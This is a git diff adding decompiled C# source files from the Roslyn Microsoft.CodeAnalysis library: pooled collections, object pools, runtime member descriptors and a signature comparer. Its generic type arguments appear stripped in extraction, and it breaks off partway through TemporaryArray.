+ } + + public void CopyTo(T[] array, int start) + { + _builder.CopyTo(array, start); + } + + public T Last() + { + return _builder[_builder.Count - 1]; + } + + internal T? LastOrDefault() + { + if (Count != 0) + { + return Last(); + } + return default(T); + } + + public T First() + { + return _builder[0]; + } + + public bool Any() + { + return _builder.Count > 0; + } + + public ImmutableArray ToImmutableOrNull() + { + if (Count == 0) + { + return default(ImmutableArray); + } + return ToImmutable(); + } + + public ImmutableArray ToDowncastedImmutable() where U : T + { + if (Count == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(Count); + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + instance.Add((U)(object)current); + } + return instance.ToImmutableAndFree(); + } + + public ImmutableArray ToDowncastedImmutableAndFree() where U : T + { + ImmutableArray result = this.ToDowncastedImmutable(); + Free(); + return result; + } + + public ImmutableArray ToImmutableAndFree() + { + ImmutableArray result = ((Count == 0) ? ImmutableArray.Empty : ((_builder.Capacity != Count) ? ToImmutable() : _builder.MoveToImmutable())); + Free(); + return result; + } + + public T[] ToArrayAndFree() + { + T[] result = ToArray(); + Free(); + return result; + } + + public void Free() + { + ObjectPool> pool = _pool; + if (pool != null && _builder.Capacity < 128) + { + if (Count != 0) + { + Clear(); + } + pool.Free(this); + } + } + + public static ArrayBuilder GetInstance() + { + return s_poolInstance.Allocate(); + } + + public static ArrayBuilder GetInstance(int capacity) + { + ArrayBuilder instance = GetInstance(); + instance.EnsureCapacity(capacity); + return instance; + } + + public static ArrayBuilder GetInstance(int capacity, T fillWithValue) + { + ArrayBuilder instance = GetInstance(); + instance.EnsureCapacity(capacity); + for (int i = 0; i < capacity; i++) + { + instance.Add(fillWithValue); + } + return instance; + } + + public static ObjectPool> CreatePool() + { + return CreatePool(128); + } + + public static ObjectPool> CreatePool(int size) + { + ObjectPool> pool = null; + pool = new ObjectPool>(() => new ArrayBuilder(pool), size); + return pool; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return _builder.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return _builder.GetEnumerator(); + } + + internal Dictionary> ToDictionary(Func keySelector, IEqualityComparer? comparer = null) where K : notnull + { + if (Count == 1) + { + Dictionary> dictionary = new Dictionary>(1, comparer); + T val = this[0]; + dictionary.Add(keySelector(val), ImmutableArray.Create(val)); + return dictionary; + } + if (Count == 0) + { + return new Dictionary>(comparer); + } + Dictionary> dictionary2 = new Dictionary>(Count, comparer); + for (int i = 0; i < Count; i++) + { + T val2 = this[i]; + K key = keySelector(val2); + if (!dictionary2.TryGetValue(key, out var value)) + { + value = GetInstance(); + dictionary2.Add(key, value); + } + value.Add(val2); + } + Dictionary> dictionary3 = new Dictionary>(dictionary2.Count, comparer); + foreach (KeyValuePair> item in dictionary2) + { + dictionary3.Add(item.Key, item.Value.ToImmutableAndFree()); + } + return dictionary3; + } + + public void AddRange(ArrayBuilder items) + { + _builder.AddRange(items._builder); + } + + public void AddRange(ArrayBuilder items, Func selector) + { + ArrayBuilder.Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + U current = enumerator.Current; + _builder.Add(selector(current)); + } + } + + public void AddRange(ArrayBuilder items) where U : T + { + _builder.AddRange(items._builder); + } + + public void AddRange(ArrayBuilder items, int start, int length) where U : T + { + int i = start; + for (int num = start + length; i < num; i++) + { + Add((T)(object)items[i]); + } + } + + public void AddRange(ImmutableArray items) + { + _builder.AddRange(items); + } + + public void AddRange(ImmutableArray items, int length) + { + _builder.AddRange(items, length); + } + + public void AddRange(ImmutableArray items, int start, int length) + { + int i = start; + for (int num = start + length; i < num; i++) + { + Add(items[i]); + } + } + + public void AddRange(ImmutableArray items) where S : class, T + { + AddRange(ImmutableArray.CastUp(items)); + } + + public void AddRange(T[] items, int start, int length) + { + int i = start; + for (int num = start + length; i < num; i++) + { + Add(items[i]); + } + } + + public void AddRange(IEnumerable items) + { + _builder.AddRange(items); + } + + public void AddRange(params T[] items) + { + _builder.AddRange(items); + } + + public void AddRange(T[] items, int length) + { + _builder.AddRange(items, length); + } + + public void Clip(int limit) + { + _builder.Count = limit; + } + + public void ZeroInit(int count) + { + _builder.Clear(); + _builder.Count = count; + } + + public void AddMany(T item, int count) + { + EnsureCapacity(Count + count); + for (int i = 0; i < count; i++) + { + Add(item); + } + } + + public void RemoveDuplicates() + { + PooledHashSet instance = PooledHashSet.GetInstance(); + int num = 0; + for (int i = 0; i < Count; i++) + { + if (instance.Add(this[i])) + { + this[num] = this[i]; + num++; + } + } + Clip(num); + instance.Free(); + } + + public void SortAndRemoveDuplicates(IComparer comparer) + { + if (Count <= 1) + { + return; + } + Sort(comparer); + int num = 0; + for (int i = 1; i < Count; i++) + { + if (comparer.Compare(this[num], this[i]) < 0) + { + num++; + this[num] = this[i]; + } + } + Clip(num + 1); + } + + public ImmutableArray SelectDistinct(Func selector) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(Count); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + S item = selector(current); + if (instance2.Add(item)) + { + instance.Add(item); + } + } + instance2.Free(); + return instance.ToImmutableAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/ObjectPool.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/ObjectPool.cs new file mode 100644 index 0000000..d742611 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/ObjectPool.cs @@ -0,0 +1,111 @@ +using System; +using System.Diagnostics; +using System.Threading; + +namespace Microsoft.CodeAnalysis.PooledObjects; + +internal class ObjectPool where T : class +{ + [DebuggerDisplay("{Value,nq}")] + private struct Element + { + internal T? Value; + } + + internal delegate T Factory(); + + private T? _firstItem; + + private readonly Element[] _items; + + private readonly Factory _factory; + + public readonly bool TrimOnFree; + + internal ObjectPool(Factory factory, bool trimOnFree = true) + : this(factory, Environment.ProcessorCount * 2, trimOnFree) + { + } + + internal ObjectPool(Factory factory, int size, bool trimOnFree = true) + { + _factory = factory; + _items = new Element[size - 1]; + TrimOnFree = trimOnFree; + } + + internal ObjectPool(Func, T> factory, int size) + { + ObjectPool arg = this; + _factory = () => factory(arg); + _items = new Element[size - 1]; + } + + private T CreateInstance() + { + return _factory(); + } + + internal T Allocate() + { + T val = _firstItem; + if (val == null || val != Interlocked.CompareExchange(ref _firstItem, null, val)) + { + val = AllocateSlow(); + } + return val; + } + + private T AllocateSlow() + { + Element[] items = _items; + for (int i = 0; i < items.Length; i++) + { + T value = items[i].Value; + if (value != null && value == Interlocked.CompareExchange(ref items[i].Value, null, value)) + { + return value; + } + } + return CreateInstance(); + } + + internal void Free(T obj) + { + if (_firstItem == null) + { + _firstItem = obj; + } + else + { + FreeSlow(obj); + } + } + + private void FreeSlow(T obj) + { + Element[] items = _items; + for (int i = 0; i < items.Length; i++) + { + if (items[i].Value == null) + { + items[i].Value = obj; + break; + } + } + } + + [Conditional("DEBUG")] + internal void ForgetTrackedObject(T old, T? replacement = null) + { + } + + [Conditional("DEBUG")] + private void Validate(object obj) + { + Element[] items = _items; + for (int i = 0; i < items.Length && items[i].Value != null; i++) + { + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledDelegates.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledDelegates.cs new file mode 100644 index 0000000..58796cf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledDelegates.cs @@ -0,0 +1,206 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.PooledObjects; + +internal static class PooledDelegates +{ + private static class DefaultDelegatePool where T : class, new() + { + public static readonly ObjectPool Instance = new ObjectPool(() => new T(), 20); + } + + [NonCopyable] + public readonly struct Releaser : IDisposable + { + private readonly Poolable _pooledObject; + + internal Releaser(Poolable pooledObject) + { + _pooledObject = pooledObject; + } + + public void Dispose() + { + _pooledObject.ClearAndFree(); + } + } + + internal abstract class Poolable + { + public abstract void ClearAndFree(); + } + + private abstract class AbstractDelegateWithBoundArgument : Poolable where TSelf : AbstractDelegateWithBoundArgument, new() where TUnboundDelegate : Delegate where TBoundDelegate : Delegate + { + public TBoundDelegate BoundDelegate { get; } + + public TUnboundDelegate UnboundDelegate { get; private set; } + + public TArg Argument { get; private set; } + + protected AbstractDelegateWithBoundArgument() + { + BoundDelegate = Bind(); + UnboundDelegate = null; + Argument = default(TArg); + } + + public void Initialize(TUnboundDelegate unboundDelegate, TArg argument) + { + UnboundDelegate = unboundDelegate; + Argument = argument; + } + + public sealed override void ClearAndFree() + { + Argument = default(TArg); + UnboundDelegate = null; + DefaultDelegatePool.Instance.Free((TSelf)this); + } + + protected abstract TBoundDelegate Bind(); + } + + private sealed class ActionWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Action, Action> + { + protected override Action Bind() + { + return delegate + { + base.UnboundDelegate(base.Argument); + }; + } + } + + private sealed class ActionWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Action, Action> + { + protected override Action Bind() + { + return delegate(T1 arg1) + { + base.UnboundDelegate(arg1, base.Argument); + }; + } + } + + private sealed class ActionWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Action, Action> + { + protected override Action Bind() + { + return delegate(T1 arg1, T2 arg2) + { + base.UnboundDelegate(arg1, arg2, base.Argument); + }; + } + } + + private sealed class ActionWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Action, Action> + { + protected override Action Bind() + { + return delegate(T1 arg1, T2 arg2, T3 arg3) + { + base.UnboundDelegate(arg1, arg2, arg3, base.Argument); + }; + } + } + + private sealed class FuncWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Func, Func> + { + protected override Func Bind() + { + return () => base.UnboundDelegate(base.Argument); + } + } + + private sealed class CreateValueCallbackWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Func, ConditionalWeakTable.CreateValueCallback> where TKey : class where TValue : class + { + protected override ConditionalWeakTable.CreateValueCallback Bind() + { + return (TKey key) => base.UnboundDelegate(key, base.Argument); + } + } + + private sealed class FuncWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Func, Func> + { + protected override Func Bind() + { + return (T1 arg1) => base.UnboundDelegate(arg1, base.Argument); + } + } + + private sealed class FuncWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Func, Func> + { + protected override Func Bind() + { + return (T1 arg1, T2 arg2) => base.UnboundDelegate(arg1, arg2, base.Argument); + } + } + + private sealed class FuncWithBoundArgument : AbstractDelegateWithBoundArgument, TArg, Func, Func> + { + protected override Func Bind() + { + return (T1 arg1, T2 arg2, T3 arg3) => base.UnboundDelegate(arg1, arg2, arg3, base.Argument); + } + } + + [AttributeUsage(AttributeTargets.Struct)] + private sealed class NonCopyableAttribute : Attribute + { + } + + private static Releaser GetPooledDelegate(TUnboundDelegate unboundDelegate, TArg argument, out TBoundDelegate boundDelegate) where TPooled : AbstractDelegateWithBoundArgument, new() where TUnboundDelegate : Delegate where TBoundDelegate : Delegate + { + TPooled val = DefaultDelegatePool.Instance.Allocate(); + val.Initialize(unboundDelegate, argument); + boundDelegate = val.BoundDelegate; + return new Releaser(val); + } + + public static Releaser GetPooledAction(Action unboundAction, TArg argument, out Action boundAction) + { + return GetPooledDelegate, TArg, Action, Action>(unboundAction, argument, out boundAction); + } + + public static Releaser GetPooledAction(Action unboundAction, TArg argument, out Action boundAction) + { + return GetPooledDelegate, TArg, Action, Action>(unboundAction, argument, out boundAction); + } + + public static Releaser GetPooledAction(Action unboundAction, TArg argument, out Action boundAction) + { + return GetPooledDelegate, TArg, Action, Action>(unboundAction, argument, out boundAction); + } + + public static Releaser GetPooledAction(Action unboundAction, TArg argument, out Action boundAction) + { + return GetPooledDelegate, TArg, Action, Action>(unboundAction, argument, out boundAction); + } + + public static Releaser GetPooledFunction(Func unboundFunction, TArg argument, out Func boundFunction) + { + return GetPooledDelegate, TArg, Func, Func>(unboundFunction, argument, out boundFunction); + } + + public static Releaser GetPooledCreateValueCallback(Func unboundFunction, TArg argument, out ConditionalWeakTable.CreateValueCallback boundFunction) where TKey : class where TValue : class + { + return GetPooledDelegate, TArg, Func, ConditionalWeakTable.CreateValueCallback>(unboundFunction, argument, out boundFunction); + } + + public static Releaser GetPooledFunction(Func unboundFunction, TArg argument, out Func boundFunction) + { + return GetPooledDelegate, TArg, Func, Func>(unboundFunction, argument, out boundFunction); + } + + public static Releaser GetPooledFunction(Func unboundFunction, TArg argument, out Func boundFunction) + { + return GetPooledDelegate, TArg, Func, Func>(unboundFunction, argument, out boundFunction); + } + + public static Releaser GetPooledFunction(Func unboundFunction, TArg argument, out Func boundFunction) + { + return GetPooledDelegate, TArg, Func, Func>(unboundFunction, argument, out boundFunction); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledDictionary.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledDictionary.cs new file mode 100644 index 0000000..815e308 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledDictionary.cs @@ -0,0 +1,47 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.PooledObjects; + +internal sealed class PooledDictionary : Dictionary where K : notnull +{ + private readonly ObjectPool> _pool; + + private static readonly ObjectPool> s_poolInstance = CreatePool(EqualityComparer.Default); + + private PooledDictionary(ObjectPool> pool, IEqualityComparer keyComparer) + : base(keyComparer) + { + _pool = pool; + } + + public ImmutableDictionary ToImmutableDictionaryAndFree() + { + ImmutableDictionary result = this.ToImmutableDictionary(base.Comparer); + Free(); + return result; + } + + public ImmutableDictionary ToImmutableDictionary() + { + return this.ToImmutableDictionary(base.Comparer); + } + + public void Free() + { + Clear(); + _pool?.Free(this); + } + + public static ObjectPool> CreatePool(IEqualityComparer keyComparer) + { + ObjectPool> pool = null; + pool = new ObjectPool>(() => new PooledDictionary(pool, keyComparer), 128); + return pool; + } + + public static PooledDictionary GetInstance() + { + return s_poolInstance.Allocate(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledHashSet.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledHashSet.cs new file mode 100644 index 0000000..f6168e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledHashSet.cs @@ -0,0 +1,34 @@ +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.PooledObjects; + +internal sealed class PooledHashSet : HashSet +{ + private readonly ObjectPool> _pool; + + private static readonly ObjectPool> s_poolInstance = CreatePool(EqualityComparer.Default); + + private PooledHashSet(ObjectPool> pool, IEqualityComparer equalityComparer) + : base(equalityComparer) + { + _pool = pool; + } + + public void Free() + { + Clear(); + _pool?.Free(this); + } + + public static ObjectPool> CreatePool(IEqualityComparer equalityComparer) + { + ObjectPool> pool = null; + pool = new ObjectPool>(() => new PooledHashSet(pool, equalityComparer), 128); + return pool; + } + + public static PooledHashSet GetInstance() + { + return s_poolInstance.Allocate(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledStringBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledStringBuilder.cs new file mode 100644 index 0000000..5f275f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/PooledStringBuilder.cs @@ -0,0 +1,67 @@ +using System; +using System.Text; + +namespace Microsoft.CodeAnalysis.PooledObjects; + +internal sealed class PooledStringBuilder +{ + public readonly StringBuilder Builder = new StringBuilder(); + + private readonly ObjectPool _pool; + + private static readonly ObjectPool s_poolInstance = CreatePool(); + + public int Length => Builder.Length; + + private PooledStringBuilder(ObjectPool pool) + { + _pool = pool; + } + + public void Free() + { + StringBuilder builder = Builder; + if (builder.Capacity <= 1024) + { + builder.Clear(); + _pool.Free(this); + } + } + + [Obsolete("Consider calling ToStringAndFree instead.")] + public new string ToString() + { + return Builder.ToString(); + } + + public string ToStringAndFree() + { + string result = Builder.ToString(); + Free(); + return result; + } + + public string ToStringAndFree(int startIndex, int length) + { + string result = Builder.ToString(startIndex, length); + Free(); + return result; + } + + public static ObjectPool CreatePool(int size = 32) + { + ObjectPool pool = null; + pool = new ObjectPool(() => new PooledStringBuilder(pool), size); + return pool; + } + + public static PooledStringBuilder GetInstance() + { + return s_poolInstance.Allocate(); + } + + public static implicit operator StringBuilder(PooledStringBuilder obj) + { + return obj.Builder; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Resources.default.win32manifest b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Resources.default.win32manifest new file mode 100644 index 0000000..ad46cbb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Resources.default.win32manifest @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/MemberDescriptor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/MemberDescriptor.cs new file mode 100644 index 0000000..c302cc0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/MemberDescriptor.cs @@ -0,0 +1,159 @@ +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Metadata; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.RuntimeMembers; + +internal readonly struct MemberDescriptor +{ + public readonly MemberFlags Flags; + + public readonly short DeclaringTypeId; + + public readonly ushort Arity; + + public readonly string Name; + + public readonly ImmutableArray Signature; + + public string DeclaringTypeMetadataName + { + get + { + if (DeclaringTypeId > 46) + { + return ((WellKnownType)DeclaringTypeId).GetMetadataName(); + } + return ((SpecialType)DeclaringTypeId).GetMetadataName(); + } + } + + public int ParametersCount + { + get + { + MemberFlags memberFlags = Flags & MemberFlags.KindMask; + switch (memberFlags) + { + case MemberFlags.Method: + case MemberFlags.Constructor: + case MemberFlags.PropertyGet: + case MemberFlags.Property: + return Signature[0]; + default: + throw ExceptionUtilities.UnexpectedValue(memberFlags); + } + } + } + + public MemberDescriptor(MemberFlags Flags, short DeclaringTypeId, string Name, ImmutableArray Signature, ushort Arity = 0) + { + this.Flags = Flags; + this.DeclaringTypeId = DeclaringTypeId; + this.Name = Name; + this.Arity = Arity; + this.Signature = Signature; + } + + internal static ImmutableArray InitializeFromStream(Stream stream, string[] nameTable) + { + int num = nameTable.Length; + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(num); + ImmutableArray.Builder builder2 = ImmutableArray.CreateBuilder(); + for (int i = 0; i < num; i++) + { + MemberFlags memberFlags = (MemberFlags)stream.ReadByte(); + short declaringTypeId = ReadTypeId(stream); + ushort arity = (ushort)stream.ReadByte(); + if ((memberFlags & MemberFlags.Field) != 0) + { + ParseType(builder2, stream); + } + else + { + ParseMethodOrPropertySignature(builder2, stream); + } + builder.Add(new MemberDescriptor(memberFlags, declaringTypeId, nameTable[i], builder2.ToImmutable(), arity)); + builder2.Clear(); + } + return builder.ToImmutable(); + } + + private static short ReadTypeId(Stream stream) + { + byte b = (byte)stream.ReadByte(); + if (b == byte.MaxValue) + { + return (short)(stream.ReadByte() + 255); + } + return b; + } + + private static void ParseMethodOrPropertySignature(ImmutableArray.Builder builder, Stream stream) + { + int num = stream.ReadByte(); + builder.Add((byte)num); + ParseType(builder, stream, allowByRef: true); + for (int i = 0; i < num; i++) + { + ParseType(builder, stream, allowByRef: true); + } + } + + private static void ParseType(ImmutableArray.Builder builder, Stream stream, bool allowByRef = false) + { + while (true) + { + SignatureTypeCode signatureTypeCode = (SignatureTypeCode)stream.ReadByte(); + builder.Add((byte)signatureTypeCode); + switch (signatureTypeCode) + { + default: + throw ExceptionUtilities.UnexpectedValue(signatureTypeCode); + case SignatureTypeCode.TypeHandle: + ParseTypeHandle(builder, stream); + return; + case SignatureTypeCode.GenericTypeParameter: + case SignatureTypeCode.GenericMethodParameter: + builder.Add((byte)stream.ReadByte()); + return; + case SignatureTypeCode.ByReference: + if (allowByRef) + { + break; + } + goto default; + case SignatureTypeCode.GenericTypeInstance: + ParseGenericTypeInstance(builder, stream); + return; + case SignatureTypeCode.Pointer: + case SignatureTypeCode.SZArray: + break; + } + allowByRef = false; + } + } + + private static void ParseTypeHandle(ImmutableArray.Builder builder, Stream stream) + { + byte b = (byte)stream.ReadByte(); + builder.Add(b); + if (b == byte.MaxValue) + { + byte item = (byte)stream.ReadByte(); + builder.Add(item); + } + } + + private static void ParseGenericTypeInstance(ImmutableArray.Builder builder, Stream stream) + { + ParseType(builder, stream); + int num = stream.ReadByte(); + builder.Add((byte)num); + for (int i = 0; i < num; i++) + { + ParseType(builder, stream); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/MemberFlags.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/MemberFlags.cs new file mode 100644 index 0000000..ed52448 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/MemberFlags.cs @@ -0,0 +1,16 @@ +using System; + +namespace Microsoft.CodeAnalysis.RuntimeMembers; + +[Flags] +internal enum MemberFlags : byte +{ + Method = 1, + Field = 2, + Constructor = 4, + PropertyGet = 8, + Property = 0x10, + KindMask = 0x1F, + Static = 0x20, + Virtual = 0x40 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/SignatureComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/SignatureComparer.cs new file mode 100644 index 0000000..54c65ae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.RuntimeMembers/SignatureComparer.cs @@ -0,0 +1,198 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.RuntimeMembers; + +internal abstract class SignatureComparer where MethodSymbol : class where FieldSymbol : class where PropertySymbol : class where TypeSymbol : class where ParameterSymbol : class +{ + public bool MatchFieldSignature(FieldSymbol field, ImmutableArray signature) + { + int position = 0; + return MatchType(GetFieldType(field), signature, ref position); + } + + public bool MatchPropertySignature(PropertySymbol property, ImmutableArray signature) + { + int position = 0; + byte num = signature[position++]; + ImmutableArray parameters = GetParameters(property); + if (num != parameters.Length) + { + return false; + } + bool flag = IsByRef(signature, ref position); + if (IsByRefProperty(property) != flag) + { + return false; + } + if (!MatchType(GetPropertyType(property), signature, ref position)) + { + return false; + } + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (!MatchParameter(current, signature, ref position)) + { + return false; + } + } + return true; + } + + public bool MatchMethodSignature(MethodSymbol method, ImmutableArray signature) + { + int position = 0; + byte num = signature[position++]; + ImmutableArray parameters = GetParameters(method); + if (num != parameters.Length) + { + return false; + } + bool flag = IsByRef(signature, ref position); + if (IsByRefMethod(method) != flag) + { + return false; + } + if (!MatchType(GetReturnType(method), signature, ref position)) + { + return false; + } + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (!MatchParameter(current, signature, ref position)) + { + return false; + } + } + return true; + } + + private bool MatchParameter(ParameterSymbol parameter, ImmutableArray signature, ref int position) + { + bool flag = IsByRef(signature, ref position); + if (IsByRefParam(parameter) != flag) + { + return false; + } + return MatchType(GetParamType(parameter), signature, ref position); + } + + private static bool IsByRef(ImmutableArray signature, ref int position) + { + if (signature[position] == 16) + { + position++; + return true; + } + return false; + } + + private bool MatchType(TypeSymbol? type, ImmutableArray signature, ref int position) + { + if (type == null) + { + return false; + } + SignatureTypeCode signatureTypeCode = (SignatureTypeCode)signature[position++]; + switch (signatureTypeCode) + { + case SignatureTypeCode.TypeHandle: + { + short typeId = ReadTypeId(signature, ref position); + return MatchTypeToTypeId(type, typeId); + } + case SignatureTypeCode.Array: + { + if (!MatchType(GetMDArrayElementType(type), signature, ref position)) + { + return false; + } + int countOfDimensions = signature[position++]; + return MatchArrayRank(type, countOfDimensions); + } + case SignatureTypeCode.SZArray: + return MatchType(GetSZArrayElementType(type), signature, ref position); + case SignatureTypeCode.Pointer: + return MatchType(GetPointedToType(type), signature, ref position); + case SignatureTypeCode.GenericTypeParameter: + { + int paramPosition = signature[position++]; + return IsGenericTypeParam(type, paramPosition); + } + case SignatureTypeCode.GenericMethodParameter: + { + int paramPosition = signature[position++]; + return IsGenericMethodTypeParam(type, paramPosition); + } + case SignatureTypeCode.GenericTypeInstance: + { + if (!MatchType(GetGenericTypeDefinition(type), signature, ref position)) + { + return false; + } + int num = signature[position++]; + for (int i = 0; i < num; i++) + { + if (!MatchType(GetGenericTypeArgument(type, i), signature, ref position)) + { + return false; + } + } + return true; + } + default: + throw ExceptionUtilities.UnexpectedValue(signatureTypeCode); + } + } + + private static short ReadTypeId(ImmutableArray signature, ref int position) + { + byte b = signature[position++]; + if (b == byte.MaxValue) + { + return (short)(signature[position++] + 255); + } + return b; + } + + protected abstract TypeSymbol? GetGenericTypeArgument(TypeSymbol type, int argumentIndex); + + protected abstract TypeSymbol? GetGenericTypeDefinition(TypeSymbol type); + + protected abstract bool IsGenericMethodTypeParam(TypeSymbol type, int paramPosition); + + protected abstract bool IsGenericTypeParam(TypeSymbol type, int paramPosition); + + protected abstract TypeSymbol? GetPointedToType(TypeSymbol type); + + protected abstract TypeSymbol? GetSZArrayElementType(TypeSymbol type); + + protected abstract bool MatchArrayRank(TypeSymbol type, int countOfDimensions); + + protected abstract TypeSymbol? GetMDArrayElementType(TypeSymbol type); + + protected abstract bool MatchTypeToTypeId(TypeSymbol type, int typeId); + + protected abstract TypeSymbol GetReturnType(MethodSymbol method); + + protected abstract ImmutableArray GetParameters(MethodSymbol method); + + protected abstract TypeSymbol GetPropertyType(PropertySymbol property); + + protected abstract ImmutableArray GetParameters(PropertySymbol property); + + protected abstract TypeSymbol GetParamType(ParameterSymbol parameter); + + protected abstract bool IsByRefParam(ParameterSymbol parameter); + + protected abstract bool IsByRefMethod(MethodSymbol method); + + protected abstract bool IsByRefProperty(PropertySymbol property); + + protected abstract TypeSymbol GetFieldType(FieldSymbol field); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Shared.Collections/TemporaryArray.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Shared.Collections/TemporaryArray.cs new file mode 100644 index 0000000..15d918d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Shared.Collections/TemporaryArray.cs @@ -0,0 +1,348 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Shared.Collections; + +[NonCopyable] +internal struct TemporaryArray : IDisposable +{ + [NonCopyable] + public struct Enumerator(in TemporaryArray array) + { + private readonly TemporaryArray _array = new TemporaryArray(in array); + + private T _current = default(T); + + private int _nextIndex = 0; + + public T Current => _current; + + public bool MoveNext() + { + if (_nextIndex >= _array.Count) + { + return false; + } + _current = _array[_nextIndex]; + _nextIndex++; + return true; + } + } + + internal static class TestAccessor + { + public static int InlineCapacity => 4; + + public static bool HasDynamicStorage(in TemporaryArray array) + { + return array._builder != null; + } + + public static int InlineCount(in TemporaryArray array) + { + return array._count; + } + } + + private const int InlineCapacity = 4; + + private T _item0; + + private T _item1; + + private T _item2; + + private T _item3; + + private int _count; + + private ArrayBuilder? _builder; + + public static TemporaryArray Empty => default(TemporaryArray); + + public readonly int Count => _builder?.Count ?? _count; + + public T this[int index] + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + readonly get + { + if (_builder != null) + { + return _builder[index]; + } + if ((uint)index >= _count) + { + ThrowIndexOutOfRangeException(); + } + return index switch + { + 0 => _item0, + 1 => _item1, + 2 => _item2, + _ => _item3, + }; + } + [MethodImpl(MethodImplOptions.AggressiveInlining)] + set + { + if (_builder != null) + { + _builder[index] = value; + return; + } + if ((uint)index >= _count) + { + ThrowIndexOutOfRangeException(); + } + switch (index) + { + case 0: + { + T val = (_item0 = value); + break; + } + case 1: + { + T val = (_item1 = value); + break; + } + case 2: + { + T val = (_item2 = value); + break; + } + default: + { + T val = (_item3 = value); + break; + } + } + } + } + + private TemporaryArray(in TemporaryArray array) + { + this = array; + } + + public static TemporaryArray GetInstance(int capacity) + { + if (capacity <= 4) + { + return Empty; + } + return new TemporaryArray + { + _builder = ArrayBuilder.GetInstance(capacity) + }; + } + + public void Dispose() + { + Interlocked.Exchange(ref _builder, null)?.Free(); + } + + public void Add(T item) + { + if (_builder != null) + { + _builder.Add(item); + } + else if (_count < 4) + { + _count++; + 